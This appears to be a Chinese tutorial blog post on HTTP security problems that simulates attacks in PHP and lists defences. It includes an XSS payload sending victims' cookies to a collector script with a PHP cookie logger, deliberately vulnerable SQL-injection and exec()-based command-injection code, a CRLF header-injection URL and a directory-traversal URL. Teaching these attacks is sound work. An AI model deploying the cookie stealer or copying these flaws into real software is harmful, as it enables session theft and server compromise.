http网络安全
网络安全简单总结
每天都会用到http协议,也听说http协议的安全的重要性,却一直很少真的去模拟攻击。纸上谈兵久矣。特意通过一篇博客整理下http可能遇到的安全问题,用脚本语言php去模拟和处理。
博文目录
1 http为什么会存在安全问题
http是没有状态和加密的协议,如果不使用(ssl)https协议,很多信息都是透明的,传输的数据很容易被捕获。容易泄密。
2 常见的安全问题分类
2.1 转义不安全
2.1 设置或者设计上的缺陷引发的
2.1 会话
2.1 安全漏洞
3 常见问题和处理
3.1 跨站脚本攻击
3.2 SQL注入
3.3 OS命令注入
3.4 http首部注入攻击
3.5 目录遍历攻击
3.6 远程文件包含漏洞
3.7 强制浏览器
3.8 不正确的错误消息处理
3.9 开发重定向
3.10 会话劫持
3.11 会话固定攻击
3.12 跨站点请求伪造
3.14 密码破解
3.15 点击劫持
3.16 dos攻击
3.17 后门程序
4 跨站点脚本攻击
跨站点脚本(XSS[cross-site scripting])是当前web应用中最危险和最普遍的漏洞之一。
这种攻击主要是通过在浏览器上注入javascript代码
先说说攻击原理。
我的理解是有两个条件:
1 发布带有敏感信息的脚本到目标网站的留言板或者其他的页面
<script>document.write('<img src="http://other.program.php/php-library/http_security/tt/stealcookies.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>;
通过php脚本捕捉数据
<?php
$ua = $_SERVER["HTTP_USER_AGENT"];
$client_ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER["REQUEST_METHOD"];
$referer = $_SERVER["HTTP_REFERER"];
$querystring = $_SERVER["QUERY_STRING"];
$fp = fopen(__DIR__."/cookie.txt","a+");
$str= "time: ".date("Y-m-d H:i:s")." IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Cookie: $querystring \n";
fwrite($fp,$str);
fclose($fp);
2 如果有人访问这些带有xss捕获脚本会获取用户信息。
当然由于cookie禁止跨域访问。这只会窃取对应的网站信息。
例如假如我在微博上发了一条带xss(当然微博(weibo.cm)有防御机制啦) , 如果有倒霉蛋访问了这个页面。我就会获取这个倒霉蛋访问微博时的一系列cookie,ua等等浏览器信息,但是我没法获取百度(baidu.com)的信息了。
防御:
检测所有可能出现xss的地方
过滤掉一些有害的输入最好能建立一个xss攻击池子,只要是在池子里的都过滤掉。
5 SQL注入问题
本地提供一个查询的链接
http://other.program.php/php-library/http_security/sql_inject/sql_inject.php?id=1 or 1=1
php脚本
<?php
require_once 'MYsqlHandle.php';
$db_config = array("host"=>"127.0.0.1",'port'=>'3306',"user"=>"root","password"=>"123456","db"=>"test");
$id = isset($_GET["id"])?$_GET["id"]:"";
if(!empty($id)){
$handle_obj = new MysqlHandle($db_config);
$table_name = "country";
$sql = "select * from $table_name where id=$id ";
$ret = $handle_obj->fetchRows($sql);
echo "<pre>";
print_r($ret);
}else {
echo "no id";
}
我本来是要获取一条信息的,结果获取了太多信息
当然我也可以使用unio探索你的表的结构。获取其他表的信息
防御
对输入进行处理,字符串转义,数字的强制转换
6 os命令注入
os的危险脚本例子
<?php
$cmd = isset($_GET["cmd"])?$_GET["cmd"]:"";
if(!empty($cmd)){
$ret = exec($cmd);
echo $ret;
}else{
echo "hehe";
}
这个主要是针对操作系统命令的。最好是能够禁止代码执行操作系统命令 像这样
exec();
如果我通过接收参数执行系统命令就会暴漏操作系统的信息
防御
交互中不要使用exec之类的函数
对web代码禁用exec之类的命令
7 http首部注入攻击
危害
设置cookie
任意重定向
截断http协议
比较有名的是CRLF注入攻击
这种情况主要
CRLF就是http的换行符\r\n转义后就是%0D%0A
设置cookie http://other.program.php/php-library/http_security/head_inject/head_inject.php?cate_id=101%0D%0ASet-Cookie:+user_name=123456789
大致原理就是这样子的
函数提示:Header may not contain more than a single header,
自动帮你拦截了这种简单的攻击
php脚本1
<?php
$_GET['lang'];
header("Location: http://other.program.php/php-library/http_security/head_inject/head_inject2.php?lang=$lang");
php脚本2
<pre class="lang:default decode:true ">$lang = $_GET['lang'];
echo $lang;
8 目录遍历攻击与文件包含攻击
官方点的说明 攻击人员通过目录便利攻击可以获取系统文件及服务器的配置文件等等。
其实目录攻击的防范点不外两种
1 对服务器进行权限控制
2 过滤外部的输入
通过用户传递的参数去加载对应的文件可能会泄露服务器的基本信息。
比如我多实验几次就可以试验得到各种信息。这是有安全漏洞的。
http://other.program.php/php-library/http_security/http_dir_inject/dir1.php?file=../../README.md
9 服务端错误规避
包括
1 强制浏览器。。强制浏览器流量那些非公开的文件。比如服务器根目录下有文件xxx.jsp 我有一个文件xxx_bak.txt用户就可以直接查看备份文件
2 不正确的错误信息处理。不要透漏给用户过多的信息,给不法分子可乘之机。
脚本错误信息
web服务器信息处理
数据库错误处理
3 恶意重定向。网站不要开启恶意重定向功能。比如网络钓鱼可能就采用这种策略。比如我可以做一个和京东一模一样的网站,诱惑你登陆等。
10 会话劫持和会话固定攻击
原理主要是利用tcp协议的特性,
比如我们通过路由器或者通过我的机器去访问百度,我们可以抓取tcp包模拟你的请求,然后干各种你登陆后才能干的事情。
针对应用层的http协议,我们可以根据上面的xss攻击或者其他攻击获取用户的sessionid,然后干各种你登陆后才能干的事情。
百度百科详细介绍
http://baike.baidu.com/link?url=Ndtu2Rd97fJ6AB_Pt8mNzKIBZkxcCkbReHHaZOfMp-bNe02wyGPQt2cQmqeZyTEc7Ucy7_2z8LCRFCh_Dz76Pq
主要分两种情况:
1 中间人攻击
2 注射式攻击
回话固定攻击:我的理解就是,有人伪造一个站点获取了你的cookie信息,然后登陆你访问的网站,然后干坏事
11 跨站点请求伪造
我觉得跨站点请求伪造可能造成会话固定攻击
防御
1 利用referer判断,
2 在请求中添加 token并验证,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,
3 可以在服务器端生成一个随机码,然后放在form的hidden元素中,form提交的时候在服务器端检查。
12 密码破解 点击劫持 dos攻击 后门程序
密码设置的太简单被暴力破解,所有很多网站有验证码或者是单位时间内限制登录次数
点击劫持 恶心的在网页上层覆盖一层透明的iframe。
dos攻击 最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。开个玩笑,百度是最大的dos网站哈哈。
后门程序 程序猿在程序中有意或者无意的留有后门,